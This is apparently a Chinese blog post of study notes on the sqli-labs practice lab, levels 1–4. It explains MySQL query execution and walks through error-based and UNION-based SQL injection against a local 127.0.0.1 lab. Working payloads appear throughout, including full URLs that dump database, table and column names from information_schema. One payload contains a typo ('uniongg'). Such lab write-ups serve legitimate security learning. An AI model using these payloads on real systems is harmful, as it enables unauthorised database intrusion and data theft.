sqlless1-4

0x01 sql语句执行


sql查询语句执行流程:1.sql语句传入到mysql_query()中返回resource值
2.mysql_fetch_array()返回一个数组

0x02 sql引号概述

  1. 传入id=1’返回报错信息,可知sql后半段为limit 0,1。采用去引号注释方法 'or 1=1--+
    (引号的作用使得注入的语句能够插入进sql语句中)
  2. 通过id=1’ order by 4 >> 得出 列数为三
  3. 通过id=-1’ uniongg select 1,database(),3 >> 可得数据库名 (这里id=-1的作用是,前端语句查询不存在而执行union语句)

    在id=1后加引号的作用如上图所示,若不加引号 id后的sql语句会被包含在id=’’字符串的单引号中而无法实现。在添加一个向后单引号会使得union查询语句置后。

0x03 sql注入爆库表列

条件PHP语句中能够执行的GET语句输出变量

爆库操作实现

information_schema知识点补充:

informaition_schema看作一个数据库,存储作用数据库的库信息
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。show databases的结果取之此表//所以information_schema 会在schemata中查询 show schema_name from information_schema.schemata
–TABLES表:提供了关于数据库中的表信息show table_name from information_schema.tables where table_schema=security
–COLUMNS表:提供表中的 列信息. show column_name from information_schema.columns where table_name=xxx

爆库名


http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3% 20from%20information_schema.schemata--+

爆表名


http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20f rom%20information_schema.tables%20where%20table_schema=%27security%27--+

爆列名

http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%2 0from%20information_schema.columns%20where%20table_name=%27users%27--+

less-2

id传入值为整数型,只需要 or 1=1 –+其他和less-1相同

less-3

构造 id=1’) or 1=1 –+

less-4

构造 id=1”) or 1=1 –+


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!